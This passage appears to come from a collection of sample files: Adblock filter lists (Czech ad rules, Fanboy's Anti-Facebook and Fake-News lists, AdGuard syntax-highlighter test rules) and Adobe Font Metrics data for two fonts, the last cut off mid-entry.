''\nkinobox.cz,novinky.cz,expres.cz,fights.cz,tiscali.cz,hudebniskupiny.cz,osobnosti.cz,ahaonline.cz,super.cz#$#prevent-listener beforeunload (); cookie-remover /^_?adb/;\nsauto.cz#$#override-property-read sssp undefined\nsuper.cz#$#override-property-read sspPositions null\niprima.cz##.sas_center, .px-ad, .sas_mone, .mone_box, .ifr-passback, [data-sas_status], div[id^=\"sas_\"], div[class^=\"mas_mone_\"], [data-alter_area=\"leaderboardpremium-1\"], [data-alter_area=\"boardbottom-1\"], .ifr-masshack, .px-zone, .sas_megaboard, .ifr-classflak, [data-sas-creative], #cnn_reklama, div[class^=\"mas_\"], ._sasia_fcid, [class^=\"mas\"][class$=\"_clue\"]\niprima.cz#?#div:-abp-has(>.mone_header)\niprima.cz##.px-type-banner\niprima.cz##[class$=\"_value\"], [id^=\"px-id-\"]\niprima.cz##[class$=\"_fcid\"], [data-mashiatus]\niprima.cz##div[data-d-area]\niprima.cz##[class*=\"sas\"]\niprima.cz##a[href*=\"/area=branding\"]\niprima.cz##[id*=\"-ad-\"], .ifr-claassflak, a[href*=\"/posid=sas_\"]\niprima.cz##.dekes_reblika\n/area=*/posid=*$subdocument,xmlhttprequest,script,domain=iprima.cz\n/keyword*/area=$xmlhttprequest,domain=iprima.cz\n/section=adblock_desktop^$domain=iprima.cz\n?format=js|$script,domain=iprima.cz\n?guci=$subdocument,domain=iprima.cz\n?v127|$script,domain=iprima.cz\n/area=halfpagead$xmlhttprequest,domain=iprima.cz\n/area=branding$xmlhttprequest,domain=iprima.cz\nauto.cz,autorevue.cz,maminka.cz,reflex.cz,ahaonline.cz,blesk.cz,dama.cz,e15.cz,info.cz,mojezdravi.cz,onetv.cz,zeny.cz,zive.cz##.inserted_rtb\n"
  },
  {
    "path": "samples/Adblock Filter List/anti-facebook.txt",
    "content": "[Adblock Plus 2.0]\n! Checksum: Ea7JI8rmiGKaIOR604if2A\n! Title: Anti-Facebook List\n! Updated: 2021-09-19 08:57 UTC\n! Expires: 9 days\n! License: http://creativecommons.org/licenses/by/3.0/\n! Homepage: http://www.fanboy.co.nz/\n! Reporting Issues: https://github.com/ryanbr/fanboy-adblock/issues\n!\n! Legal stuff (T&C's) .\n! In no event shall Fanboy List, or the list author be liable for any indirect, direct, punitive, special, incidental, or consequential damages whatsoever.\n! By downloading or viewing, or using this list, you are accepting these terms and the license.\n!\n!\n! Warning, will break on facebook-based comment sites and may also break on some facebook apps or games.\n!\n! Thirdparty Filters\n!\n||api-read.facebook.com/restserver.php?api_key=$third-party\n||api.facebook.com^$third-party\n||badge.facebook.com^$third-party\n||connect.facebook.com^$third-party,domain=~facebook.net|~fb.com\n||connect.facebook.net^$third-party,domain=~facebook.com|~fb.com\n||facebook.com/connect/$third-party\n||facebook.com/dialog/oauth?display=popup$popup,domain=humorhub.org\n||facebook.com/plugins/activity.php?$third-party\n||facebook.com/plugins/comments.php?$third-party\n||facebook.com/plugins/facepile.php?$third-party\n||facebook.com/plugins/fan.php?$third-party\n||facebook.com/plugins/follow.php$third-party\n||facebook.com/plugins/like.php?$third-party\n||facebook.com/plugins/like_box.php$third-party\n||facebook.com/plugins/likebox.php?$third-party\n||facebook.com/plugins/post.php?$third-party\n||facebook.com/plugins/recommendations.php?$third-party\n||facebook.com/plugins/recommendations_bar.php?$third-party\n||facebook.com/plugins/send.php?$third-party\n||facebook.com/plugins/share_button.php?$third-party\n||facebook.com/plugins/subscribe.php$third-party\n||facebook.com/plugins/subscribe?$third-party\n||facebook.com/restserver.php?*.getStats&$third-party\n||facebook.com/whitepages/wpminiprofile.php$third-party\n||facebook.com/widgets/activity.php?$third-party\n||facebook.com/widgets/fan.php?$third-party\n||facebook.com/widgets/like.php?$third-party\n||facebook.com/widgets/recommendations.php?$third-party\n||fbcdn-profile-a.akamaihd.net^$third-party,domain=~facebook.com\n||google.com/js/client:plusone.js$third-party\n||google.com/js/plusone.js$third-party\n||graph.facebook.com/?id=$third-party\n||graph.facebook.com^$third-party,xmlhttprequest\n||profile.ak.fbcdn.net^$third-party,domain=~facebook.com\n||scontent-a.*.fbcdn.net^$third-party,domain=~facebook.com\n||spot.im/embed/scripts/launcher.js$third-party\n||static.ak.fbcdn.net^$third-party,domain=~facebook.com\n!\n! Test Filters (For Gannett sites, which don't work anyways with Facebook blocked)\n!\n##.util-bar-module-firefly-visible\n!\n! Whitelist Filters\n!\n@@/cdn-cgi/pe/bag2?*connect.facebook.net$domain=forwardprogressives.com|onhax.net|opensubtitles.org|viralthread.com|youngcons.com\n@@||akamaihd.net/rsrc.php/$domain=facebook.com\n@@||channel.facebook.com^$domain=facebook.com\n@@||connect.facebook.com^*/AudienceNetworkPrebid.js$domain=vice.com\n@@||facebook.com/ajax/browse/$domain=facebook.com\n@@||facebook.com/ajax/bz$domain=facebook.com\n@@||facebook.com/ajax/chat/buddy_list.php$domain=facebook.com\n@@||facebook.com/ajax/chat/hovercard/$domain=facebook.com\n@@||facebook.com/ajax/hovercard/$domain=facebook.com\n@@||facebook.com/ajax/litestand/$domain=facebook.com\n@@||facebook.com/ajax/notifications/$domain=facebook.com\n@@||facebook.com/ajax/pagelet/$domain=facebook.com\n@@||facebook.com/ajax/photos/$domain=facebook.com\n@@||facebook.com/ajax/presence/$domain=facebook.com\n@@||facebook.com/ajax/typeahead/$domain=facebook.com\n@@||facebook.com/ajax/webstorage/$domain=facebook.com\n@@||facebook.com/chat/$domain=facebook.com\n@@||facebook.com/images/$domain=facebook.com\n@@||fbcdn-photos-*.akamaihd.net^$domain=facebook.com\n@@||fbcdn-profile-*.akamaihd.net^$domain=facebook.com\n@@||fbcdn-sphotos-*.akamaihd.net^$domain=facebook.com\n@@||fbexternal-*.akamaihd.net^$domain=facebook.com\n@@||scontent-*.fbcdn.net^$domain=facebook.com\n!\n! Problematic sites\n!\n@@||cloudfront.net^$font,domain=magicseaweed.com\n@@||connect.facebook.com^*/audiencenetworkprebid.js$script,domain=screenrant.com\n@@||connect.facebook.net^$script,domain=id.logi.com|tinder.com|abc.go.com|adultswim.com|contv.com|damnyouautocorrect.com|embedly.com|fitbit.com|instagram.com|interviewmagazine.com|noovo.ca|pogo.com|reddit.com|salon.com|sci2.tv|southpark.cc.com|southpark.de|upi.com\n@@||google.com/js/plusone.js$domain=abcnews.go.com|watch.nba.com\n@@||graph.facebook.com^$xmlhttprequest,domain=theguardian.com\n@@||staticxx.facebook.com/connect/$domain=embedly.com\n!\n! Cloudflare CDN\n!\n/cdn-cgi/pe/bag2?*connect.facebook.com\n/cdn-cgi/pe/bag2?*connect.facebook.net\n"
  },
  {
    "path": "samples/Adblock Filter List/fake-news.txt",
    "content": "[Adblock Plus 2.0]\n! Title: Fake-News List\n! Updated: 10 Mar 2018\n! License: http://creativecommons.org/licenses/by/3.0/\n! Homepage: http://www.fanboy.co.nz/\n! Reporting Issues: https://github.com/ryanbr/fanboy-adblock/issues\n!\n! Legal stuff (T&C's) .\n! In no event shall Fanboy List, or the list author be liable for any indirect, direct, punitive, special, incidental, or consequential damages whatsoever.\n! By downloading or viewing, or using this list, you are accepting these terms and the license.\n!\n! (Truncated from original list, which is ~30 KBs)\n\n! infowarsstore.com\n##a[href^=\"http://infowarsstore.com\"]\n##a[href^=\"http://www.infowarsstore.com\"]\n##a[href^=\"https://www.infowarsstore.com\"]\ninfowarsstore.com#@#a[href^=\"http://infowarsstore.com\"]\ninfowarsstore.com#@#a[href^=\"http://www.infowarsstore.com\"]\ninfowarsstore.com#@#a[href^=\"https://www.infowarsstore.com\"]\n||infowarsstore.com^$popup,third-party\n\n! infowars.com\n##a[href^=\"http://infowars.com\"]\n##a[href^=\"http://www.infowars.com\"]\ninfowars.com#@#a[href^=\"http://www.infowars.com\"]\n||infowars.com^$popup,third-party\n\n! abcnews.com.co\n##a[href^=\"http://abcnews.com.co\"]\n##a[href^=\"http://www.abcnews.com.co\"]\nabcnews.com.co#@#a[href^=\"http://abcnews.com.co\"]\nabcnews.com.co#@#a[href^=\"http://www.abcnews.com.co\"]\n||abcnews.com.co^$popup,third-party\n\n! 82.221.129.208\n##a[href^=\"http://82.221.129.208\"]\n82.221.129.208#@#a[href^=\"http://82.221.129.208\"]\n\n! angrypatriotmovement.com\n##a[href^=\"http://angrypatriotmovement.com\"]\n##a[href^=\"http://www.angrypatriotmovement.com\"]\nangrypatriotmovement.com#@#a[href^=\"http://angrypatriotmovement.com\"]\nangrypatriotmovement.com#@#a[href^=\"http://www.angrypatriotmovement.com\"]\n||angrypatriotmovement.com^$popup,third-party\n"
  },
  {
    "path": "samples/Adblock Filter List/test_rules.txt",
    "content": "[AdGuard]\n! Title: Test rules for the syntax highlighter\n! License: MIT (see https://github.com/ameshkov/VscodeAdblockSyntax/blob/master/LICENSE.md)\n! Homepage: https://github.com/ameshkov/VscodeAdblockSyntax/blob/master/test_rules.txt\n! Author: Andrey Meshkov (Adguard Software Ltd.)\n!\n\n# Some comments (should be all green)\n!\n#\n\n!\n! Pre-processor directives and hints\n!\n!#if (adguard && !adguard_ext_safari)\n!#include https://example.org/\n!#endif\n!+ NOT_OPTIMIZED PLATFORM(android)\n||example.org^\n!#invalidpreprocessor\n!#if (invalid_platform)\n!#safari_cb_affinity(general,privacy)\n!#safari_cb_affinity\n!#safari_cb_affinity(invalid)\n\n!\n! Basic rules (valid)\n!\nexample.org\n@@||example.org^\n||example.org^\n|https://www.example.org/|\n/banner\n||example.org^$third-party\n||example.org^$~object-subrequest\n\n! Domain\n||example.org$domain=~example.org|~test.org\n*.domain.com$domain=example.org|test.org,third-party,subdocument\n||example.org$domain=j.gs\n||example.org$domain=google.*\n*$3p,script,denyallow=hello.com|service.me,domain=example.*|test.org\n\n! Domain invalid: https://github.com/ameshkov/VscodeAdblockSyntax/issues/26\n||parajumpersnettbutikk.com^$document,domain=~ Advarselen vises grunnet: En grovt falsk nettbutikksvindel som er svartelistet av Forbrukertilsynet.\n\n! No URL\n$websocket,domain=example.org\n\n! App\n||testwinapp.org^$app=Skype.exe\n||testapp.org^$app=com.adguard.android|~com.example\n||testws.org^$websocket,xmlhttprequest\n||testws.org^$~websocket,~xmlhttprequest\n\n! -------------------------\n! Modifiers\n! -------------------------\n\n! Csp\n||example.org^$csp=frame-src 'none'\n@@||example.org^$csp\n\n! Badfilter\n@@||example.org^$badfilter\n\n! Redirect\n||example.org^$redirect=google-analytics.com/ga.js\n||example.org/$script,redirect-rule=noop.txt\n\n! Rewrite\n||example.org^$rewrite=abp-resource:blank-html\n\n! Helper modifiers: #23\n||example.org^$first-party\n||example.org^$xhr\n||example.org^$inline-script\n||example.org^$inline-font\n||example.org^$popunder\n\n! extension modifier: #31\n@@||taxes.hrblock.com^$extension\n\n! more modifiers aliases: #34\n||example.org^$all\n||example.org^$3p\n||example.org^$1p\n||example.org^$css\n||example.org^$frame\n||example.org^$ghide\n||example.org^$ehide\n||example.org^$shide\n||example.org^$specifichide\n\n!\n! Basic rules (invalid)\n!\n||example.org$domain=~example.org,~test.org\n||example.org$domain=~example.org.~test.org\n||testwinapp.org^$app=Skype.exe,~test.com\n||testwinapp.org^$app=Skype.exe.~com.adguard\n\n!\n! Basic rules (regex)\n!\n/banner/\n@@/banner\\d+/$third-party\n\n!\n! Basic rules ($replace)\n!\n||example.org^$replace=/(<VAST[\\s\\S]*?>)[\\s\\S]*<\\/VAST>\\/\\$1<\\/VAST>/gi,third-party\n||example.org^$important,replace=/(<VAST[\\s\\S]*?>)[\\s\\S]*<\\/VAST>\\/\\$1<\\/VAST>/gi,third-party\n||example.net^$replace=/[\\s\\S]+//,important,domain=example.org|example.com\n@@||example.org^$replace\n\n!\n! Elemhide rules (valid)\n!\n##.valid_selector\nj.gs,46.166.167.16,example.org##banner\nexample.org##valid_selector\n~example.org##valid_selector\nexample.org,~hello.com##valid_selector\nexample.org#@#valid_selector\nexample.org#@#valid_selector\nexample.org,example.com##valid_selector\nexample.org,example.com,test.com##valid_selector\nbusiness-service.me#@##banner_ad\nq.gs#@##bottom\nj.gs#@##bottom\nberlin.de##.teaser[-ext-has='>.inner>h3>a.trakkking,>.inner>h3:not(:has(>))']\nxn--fgelsng-exae.se##banner\nxn--80aneaaefcxzcih6g1e.xn--p1ai##banner\n4pda.ru##body > * > * > div > * > :not(div) > :not(div) > :not(div) > div:has(> h2:contains(/[APprmoАрРо]{8}/))\n! TLD\ngoogle.*###center_col > #main > .dfrd > .mnr-c > .c._oc._zs\ngoogle.*###center_col > #res > #topstuff + #search > div > #ires > #rso > #flun\n\n!\n! Elemhide rules (invalid)\n!\n! TODO: Make it invalid\n##invalid_selector { invalid part of it }\nexample.org,example.com|test.com##valid_selector\nexample.org,123,test.com##valid_selector\nпример.рф##banner\n|example.org##banner\n\n!\n! ExtCss rules (valid)\n!\nexample.org#?#banner\nexample.org,example.com#@?#banner\nexample.org#$?#banner { display: none!important; }\nexample.org#@$?#banner { display: none!important; }\n\n!\n! ExtCss rules (invalid)\n!\nexample.org#?#banner { invalid part of it }\nexample.org,example.com|test.com#@?#banner\n|example.org#?#banner\n\n!\n! CSS rules (valid)\n!\n#$#valid_style { position: absolute!important; }\nexample.org#$#some_style { visibitility: hidden; }\nexample.org,example.com,test.com#@$#valid_selector { visibitility: hidden; }\naternos.org#$##detect { height: 1px!important; }\n\n!\n! CSS rules (invalid)\n!\n#$#invalid_style\ndayt.se#$##synpit { height:1px!important; }\nexample.org,example.com,test.com#$@#wrong_syntax { visibitility: hidden; }\n|example.org#$#banner { }\n\n!\n! Content-filtering rules (valid)\n!\n$$script[id=\"hello\"]\nexample.org$$script[id=\"hello\"][tag-content=\"hello\"][max-length=\"hi\"]\nexample.org,example.com$@$script[id=\"hello\"][tag-content=\"something\"]\nexample.org$$script\n\n!\n! Content-filtering rules (invalid)\n!\nexam$$script[id=\"hello\"]\n$$tag-name[id=value]\n$$tag-name[id=value\n$$div[id=\"value\"][\"val\"=\"val\"]\n\n!\n! JS rules rules (valid)\n!\n#%#window.adblock = 1;\nexample.org#@%#window.adblock = 1;\nexample.org,hello.com#%#window.adblock = 1;\nnj.com#%#window.hello = 1;\nsouthwalesargus.co.uk#%#window.hello = 1;\n\n!\n! Scriptlets (AdGuard)\n!\nexample.org#%#//scriptlet('name')\nexample.org#%#//scriptlet('name', '')\nexample.org#%#//scriptlet('name', \"\")\nexample.org#%#//scriptlet('name', 'param')\nexample.org#%#//scriptlet(\"abort-on-property-read\", \"alert\")\nexample.com#%#//scriptlet('abort-current-inline-script', 'document.addEventListener', '/example|test/')\nexample.com#%#//scriptlet(\"remove-class\", 'branding', \"div[class^=\\\"inner\\\"]\")\n\n!\n! Scriptlets (uBO)\n!\nexample.org##+js(goyavelab-defuser.js)\nze.tt##+js(addEventListener-defuser.js, /^(?:DOMContentLoaded|load)$/, =!0)\nlablue.*##+js(setTimeout-defuser.js, r(), 500)\n\n!\n! ABP snippets\n!\nreuters.com#$#abort-current-inline-script String.fromCharCode 69bfbfdbe821fab7200e9613cab94c8b\nyandex.com#$#hide-if-contains ad li.serp-item 'li.serp-item div.label'\nzhlednito.cz#$#abort-on-property-read Aloader; abort-on-property-read ExoLoader; abort-on-property-read ExoLoader.serve\nfacebook.com#$#hide-if-has-and-matches-style 'abbr .timestampContent' 'div[id^=\"hyperfeed_story_id_\"]' 'div[id*=\"feed_subtitle_\"] > span, div[id*=\"feed_subtitle_\"] > s' '' 'display: none'; hide-if-contains /.*/ .ego_section 'a[href^=\"/ad__campaign/landing.php?\"]'; hide-if-contains /.*/ .ego_section 'a[href^=\"/ad_campaign/landing.php?\"]'; hide-if-contains /.*/ .ego_section 'a[href^=\"/ad___campaign/landing.php?\"]'\n\n!\n! HTML filtering (uBO)\n!\nexpress.de,giga.de,kicker.de##^script:has-text((window);)\nwetteronline.de##^script:has-text(runCount)\nfinanzen.*##^script:has-text(Inject=!)\n\n!\n! $cookie rules\n!\n$cookie=__cfduid\n$cookie=test,domain=example.org\n||example.org^$cookie\n||facebook.com^$third-party,cookie=c_user\n@@||example.org^$cookie=/regular_expression/\n||example.org^$cookie=NAME;maxAge=3600;sameSite=lax\n@@||example.org^$cookie\n\n!\n! $removeparam and $queryprune rules\n!\n||example.org^$removeparam\n||example.org^$removeparam=test\n||example.org^$removeparam=~test\n||example.org^$removeparam=/^(test|test2)=/i\n||example.org^$queryprune\n||example.org^$queryprune=test\n||example.org^$queryprune=~test\n||example.org^$queryprune=/^(test|test2)=/i\n\n!\n! $removeheader rules\n!\n||destyy.com^$removeheader=request:user-agent\n||utarget.ru/ranging/*/click/$removeheader=location\n$removeheader=location,domain=zannn.top|innal.top\n/games-pc.top\\/forum\\/(?!login.php)/$removeheader=location\n\n!\n! $stealth rules\n!\n@@||example.org^$stealth\n@@||example.org^$stealth,domain=example.org\n\n!\n! DNS filtering modifiers\n!\n! $client\n@@||*^$client=127.0.0.1\n||example.org^$client=192.168.0.0/24\n||example.org^$client=~'Mary\\'s\\, John\\'s\\, and Boris\\'s laptops',denyallow=example.org\n||example.org^$client=~Mom|~Dad|Kids\n! $ctag\n||example.org^$ctag=device_pc|device_phone\n||example.org^$ctag=~device_phone\n! $dnstype\n||example.org^$dnstype=AAAA\n||example.org^$dnstype=~A|~CNAME\n! $dnsrewrite\n||example.com^$dnsrewrite=example.net\n||example.com^$dnsrewrite=NOERROR;CNAME;example.net\n||example.com^$dnsrewrite=NOERROR;A;1.2.3.4\n||example.com^$dnsrewrite=NOERROR;SVCB;32 example.com alpn=h3\n||example.com^$dnsrewrite=NXDOMAIN;;\n\n!\n! Cosmetic rules modifiers\n!\n[$path=/test]##banner\n[$path=/test]#@#banner\n[$path=/test]#?#.banner\n[$path=/test]#@?#.banner\n[$path=/test]#$#banner { style: display: none!important; }\n[$path=/test]#@$#banner { style: display: none!important; }\n[$path=/test,app=com.google.search]##banner\n[$path=/test,domain=example.org]##banner\n[$path=/test]$$banner\n[$path=/test]example.org#%#//scriptlet('name', '')\n\n!\n! Cosmetic rules modifiers, invalid modifiers\n!\n[$randommodifier=test]##banner"
  },
  {
    "path": "samples/Adobe Font Metrics/OpenSansCondensed-Bold.afm",
    "content": "StartFontMetrics 2.0\nComment Generated by FontForge 20170719\nComment Creation Date: Sun Jul 23 19:47:25 2017\nFontName OpenSansCondensed-Bold\nFullName Open Sans Condensed Bold\nFamilyName Open Sans Condensed\nWeight Bold\nNotice (Digitized data copyright (c) 2010-2011, Google Corporation.)\nItalicAngle 0\nIsFixedPitch false\nUnderlinePosition -205\nUnderlineThickness 102\nVersion 1.11\nEncodingScheme ISO10646-1\nFontBBox -667 -290 1046 1062\nCapHeight 714\nXHeight 544\nAscender 760\nDescender -240\nStartCharMetrics 939\nC 32 ; WX 247 ; N space ; B 0 0 0 0 ;\nC 33 ; WX 270 ; N exclam ; B 54 -14 216 714 ;\nC 34 ; WX 445 ; N quotedbl ; B 59 456 388 714 ;\nC 35 ; WX 543 ; N numbersign ; B 20 0 525 714 ;\nC 36 ; WX 462 ; N dollar ; B 36 -59 427 760 ;\nC 37 ; WX 758 ; N percent ; B 30 -9 729 725 ;\nC 38 ; WX 581 ; N ampersand ; B 28 -10 572 725 ;\nC 39 ; WX 246 ; N quotesingle ; B 59 456 188 714 ;\nC -1 ; WX 462 ; N six.os ; B 36 -10 427 724 ;\nC -1 ; WX 420 ; N seven.os ; B 19 -170 402 544 ;\nC -1 ; WX 462 ; N eight.os ; B 35 -10 429 724 ;\nC -1 ; WX 461 ; N nine.os ; B 33 -182 424 564 ;\nC -1 ; WX 496 ; N g.alt ; B 36 -241 442 555 ;\nC -1 ; WX 496 ; N gcircumflex.alt ; B 36 -241 442 767 ;\nC -1 ; WX 496 ; N gbreve.alt ; B 36 -241 442 766 ;\nC -1 ; WX 496 ; N gdot.alt ; B 36 -241 442 756 ;\nC -1 ; WX 496 ; N gcommaaccent.alt ; B 36 -241 442 767 ;\nC -1 ; WX 0 ; N cyrotmarkcomb ; B -203 591 203 714 ;\nEndCharMetrics\nStartKernData\nStartKernPairs 15878\nKPX quotedbl uni1ECA 20\nKPX quotedbl uni1EC8 20\nKPX quotedbl Idotaccent 20\nKPX quotedbl Iogonek 20\nKPX quotedbl Imacron 20\nKPX quotedbl Idieresis 20\nKPX quotedbl Icircumflex 20\nKPX quotedbl Iacute 20\nKPX quotedbl Igrave 20\nKPX quotedbl I 20\nKPX quotedbl uni1EF9 20\nKPX quoteleft q -20\nKPX quoteleft o -20\nKPX quoteleft g -9\nKPX quoteleft e -20\nKPX quoteleft d -20\nKPX quoteleft c -20\nKPX quoteleft Z 20\nKPX Delta C -9\nKPX Delta A -20\nKPX Delta question 20\nKPX Delta period -41\nKPX Delta comma -41\nKPX Delta quotesingle 41\nKPX Delta quotedbl 41\nEndKernPairs\nEndKernData\nEndFontMetrics\n"
  },
  {
    "path": "samples/Adobe Font Metrics/SpecialElite.afm",
    "content": "StartFontMetrics 2.0\nComment Generated by FontForge 20170719\nComment Creation Date: Sun Jul 23 19:52:19 2017\nFontName SpecialElite-Regular\nFullName Special Elite\nFamilyName Special Elite\nWeight Book\nNotice (Copyright (c) 2010 by Brian J. Bonislawsky DBA Astigmatic (AOETI). All rights reserved. Available under the Apache 2.0 licence.http://www.apache.org/licenses/LICENSE-2.0.html)\nItalicAngle 0\nIsFixedPitch false\nUnderlinePosition -133\nUnderlineThickness 20\nVersion 1.000\nEncodingScheme ISO10646-1\nFontBBox -33 -322 1052 959\nCapHeight 714\nXHeight 487\nAscender 688\nDescender -225\nStartCharMetrics 371\nC 32 ; WX 292 ; N space ; B 0 0 0 0 ;\nC 33 ; WX 276 ; N exclam ; B 73 0 207 702 ;\nC 34 ; WX 352 ; N quotedbl ; B 48 449 295 704 ;\nC 35 ; WX 554 ; N numbersign ; B 31 -2 524 713 ;\nC 36 ; WX 526 ; N dollar ; B 31 -201 498 919 ;\nC 37 ; WX 666 ; N percent ; B 32 -186 642 872 ;\nC 38 ; WX 676 ; N ampersand ; B 31 -5 645 705 ;\nC 39 ; WX 196 ; N quotesingle ; B 48 449 143 703 ;\nC 40 ; WX 279 ; N parenleft ; B 55 -71 243 757 ;\nC 41 ; WX 281 ; N parenright ; B 37 -59 229 770 ;\nC 42 ; WX 522 ; N asterisk ; B 32 276 493 707 ;\nC 43 ; WX 496 ; N plus ; B 29 131 465 560 ;\nC 44 ; WX 336 ; N comma ; B 39 -197 290 251 ;\nC 45 ; WX 636 ; N hyphen ; B 63 273 573 397 ;\nC 46 ; WX 349 ; N period ; B 52 -3 298 245 ;\nC 47 ; WX 557 ; N slash ; B 23 -41 536 760 ;\nC 48 ; WX 610 ; N zero ; B 55 0 560 720 ;\nC 49 ; WX 569 ; N one ; B 27 -12 572 712 ;\nC 50 ; WX 573 ; N two ; B 50 -25 541 680 ;\nC 51 ; WX 557 ; N three ; B 44 -25 514 694 ;\nC 52 ; WX 612 ; N four ; B 15 4 584 708 ;\nC 53 ; WX 537 ; N five ; B 47 0 505 690 ;\nC 54 ; WX 588 ; N six ; B 48 -10 548 707 ;\nC 55 ; WX 555 ; N seven ; B 15 -34 549 734 ;\nC 56 ; WX 598 ; N eight ; B 51 1 551 720 ;\nC 57 ; WX 584 ; N nine ; B 48 -2 539 715 ;\nC 58 ; WX 343 ; N colon ; B 51 -3 297 518 ;\nC 59 ; WX 328 ; N semicolon ; B 45 -197 297 518 ;\nC 60 ; WX 463 ; N less ; B 31 120 401 565 ;\nC 61 ; WX 636 ; N equal ; B 63 186 573 513 ;\nC 62 ; WX 463 ; N greater ; B 62 120 433 565 ;\nC 63 ; WX 470 ; N question ; B 34 2 442 729 ;\nC 64 ; WX 665 ; N at ; B 46 -4 618 680 ;\nC 65 ; WX 549 ; N A ; B -1 -16 550 703 ;\nC 66 ; WX 604 ; N B ; B 29 -6 557 704 ;\nC 67 ; WX 579 ; N C ; B 46 -13 531 700 ;\nC 68 ; WX 622 ; N D ; B 36 -17 579 713 ;\nC 69 ; WX 638 ; N E ; B 38 -16 587 691 ;\nC 70 ; WX 605 ; N F ; B 29 -9 595 709 ;\nC 71 ; WX 615 ; N G ; B 45 -3 586 710 ;\nC 72 ; WX 652 ; N H ; B 40 -20 622 690 ;\nC 73 ; WX 495 ; N I ; B 26 -24 469 710 ;\nC 74 ; WX 541 ; N J ; B 16 -3 539 703 ;\nC 75 ; WX 582 ; N K ; B 28 -5 584 711 ;\nC 76 ; WX 602 ; N L ; B 23 -14 583 718 ;\nC 77 ; WX 697 ; N M ; B 46 -10 655 704 ;\nC 78 ; WX 627 ; N N ; B 41 -15 595 700 ;\nC 79 ; WX 616 ; N O ; B 42 -30 574 702 ;\nC 80 ; WX 553 ; N P ; B 30 -12 527 689 ;\nC 81 ; WX 602 ; N Q ; B 42 -98 571 711 ;\nC 82 ; WX 636 ; N R ; B 14 -9 624 706 ;\nC 83 ; WX 588 ; N S ; B 51 -13 547 690 ;\nC 84 ; WX 594 ; N T ; B 25 1 564 707 ;\nC 85 ; WX 621 ; N U ; B 24 -6 611 710 ;\nC 86 ; WX 611 ; N V ; B -1 -15 614 726 ;\nC 87 ; WX 643 ; N W ; B 8 0 614 689 ;\nC 88 ; WX 582 ; N X ; B 3 -1 580 697 ;\nC 89 ; WX 561 ; N Y ; B -21 -2 562 719 ;\nC 90 ; WX 592 ; N Z ; B 49 -1 551 709 ;\nC 91 ; WX 312 ; N bracketleft ; B 85 -72 297 754 ;\nC 92 ; WX 557 ; N backslash ; B 21 -41 534 760 ;\nC 249 ; WX 639 ; N ugrave ; B 5 -28 624 679 ;\nC 250 ; WX 639 ; N uacute ; B 5 -28 624 682 ;\nC 251 ; WX 639 ; N ucircumflex ; B 5 -28 624 691 ;\nC 252 ; WX 639 ; N udieresis ; B 5 -28 624 649 ;\nC 253 ; WX 592 ; N yacute ; B 0 -232 596 666 ;\nC 254 ; WX 552 ; N thorn ; B -33 -221 512 699 ;\nC 255 ; WX 592 ; N ydieresis ; B 0 -232 596 643 ;\nC -1 ; WX 549 ; N Amacron ; B -1 -16 550 809 ;\nC -1 ; WX 565 ; N amacron ; B 38 -6 561 619 ;\nC -1 ; WX 549 ; N Abreve ; B -1 -16 550 890 ;\nC -1 ; WX 565 ; N abreve ; B 38 -6 561 686 ;\nC -1 ; WX 549 ; N Aogonek ; B -1 -138 589 703 ;\nC -1 ; WX 565 ; N aogonek ; B 38 -118 624 502 ;\nC -1 ; WX 579 ; N Cacute ; B 46 -13 531 900 ;\nC -1 ; WX 547 ; N cacute ; B 39 -22 506 693 ;\nC -1 ; WX 579 ; N Ccircumflex ; B 46 -13 531 890 ;\nC -1 ; WX 547 ; N ccircumflex ; B 39 -22 506 689 ;\nC -1 ; WX 579 ; N Cdotaccent ; B 46 -13 531 859 ;\nC -1 ; WX 547 ; N cdotaccent ; B 39 -22 506 657 ;\nC -1 ; WX 579 ; N Ccaron ; B 46 -13 531 918 ;\nC -1 ; WX 547 ; N ccaron ; B 39 -22 506 710 ;\nC -1 ; WX 622 ; N Dcaron ; B 36 -17 579 924 ;\nC -1 ; WX 750 ; N dcaron ; B 40 -26 716 704 ;\nC -1 ; WX 623 ; N Dcroat ; B 36 -17 580 713 ;\nC -1 ; WX 603 ; N dcroat ; B 40 -26 597 714 ;\nC -1 ; WX 638 ; N Emacron ; B 38 -16 587 798 ;\nC -1 ; WX 543 ; N emacron ; B 40 -23 501 616 ;\nC -1 ; WX 638 ; N Ebreve ; B 38 -16 587 876 ;\nC -1 ; WX 543 ; N ebreve ; B 40 -23 501 683 ;\nC -1 ; WX 638 ; N Edotaccent ; B 38 -16 587 848 ;\nC -1 ; WX 543 ; N edotaccent ; B 40 -23 501 659 ;\nC -1 ; WX 638 ; N Eogonek ; B 38 -113 610 691 ;\nC -1 ; WX 543 ; N eogonek ; B 40 -145 501 499 ;\nC -1 ; WX 638 ; N Ecaron ; B 38 -16 587 913 ;\nC -1 ; WX 543 ; N ecaron ; B 40 -23 501 714 ;\nC -1 ; WX 615 ; N Gcircumflex ; B 45 -3 586 906 ;\nC -1 ; WX 583 ; N gcircumflex ; B 42 -224 562 676 ;\nC -1 ; WX 615 ; N Gbreve ; B 45 -3 586 899 ;\nC -1 ; WX 583 ; N gbreve ; B 42 -224 562 667 ;\nC -1 ; WX 615 ; N Gdotaccent ; B 45 -3 586 871 ;\nC -1 ; WX 583 ; N gdotaccent ; B 42 -224 562 637 ;\nC -1 ; WX 615 ; N Gcommaaccent ; B 45 -253 586 710 ;\nC -1 ; WX 583 ; N gcommaaccent ; B 42 -224 562 734 ;\nC -1 ; WX 652 ; N Hcircumflex ; B 40 -20 622 897 ;\nC -1 ; WX 616 ; N hcircumflex ; B 5 -29 601 688 ;\nC -1 ; WX 652 ; N Hbar ; B 40 -20 622 690 ;\nC -1 ; WX 616 ; N hbar ; B 5 -29 601 683 ;\nC -1 ; WX 495 ; N Itilde ; B 26 -24 469 859 ;\nC -1 ; WX 568 ; N itilde ; B 36 -42 568 615 ;\nC -1 ; WX 495 ; N Imacron ; B 26 -24 469 819 ;\nC -1 ; WX 568 ; N imacron ; B 36 -42 568 585 ;\nC -1 ; WX 495 ; N Ibreve ; B 26 -24 469 901 ;\nC -1 ; WX 568 ; N ibreve ; B 36 -42 568 661 ;\nC -1 ; WX 495 ; N Iogonek ; B 26 -154 469 710 ;\nC -1 ; WX 568 ; N iogonek ; B 36 -149 568 674 ;\nC -1 ; WX 495 ; N Idotaccent ; B 26 -24 469 873 ;\nC -1 ; WX 568 ; N dotlessi ; B 36 -42 568 468 ;\nC -1 ; WX 1036 ; N IJ ; B 26 -24 1034 710 ;\nC -1 ; WX 983 ; N ij ; B 36 -236 913 683 ;\nC -1 ; WX 541 ; N Jcircumflex ; B 16 -3 539 913 ;\nC -1 ; WX 415 ; N jcircumflex ; B -12 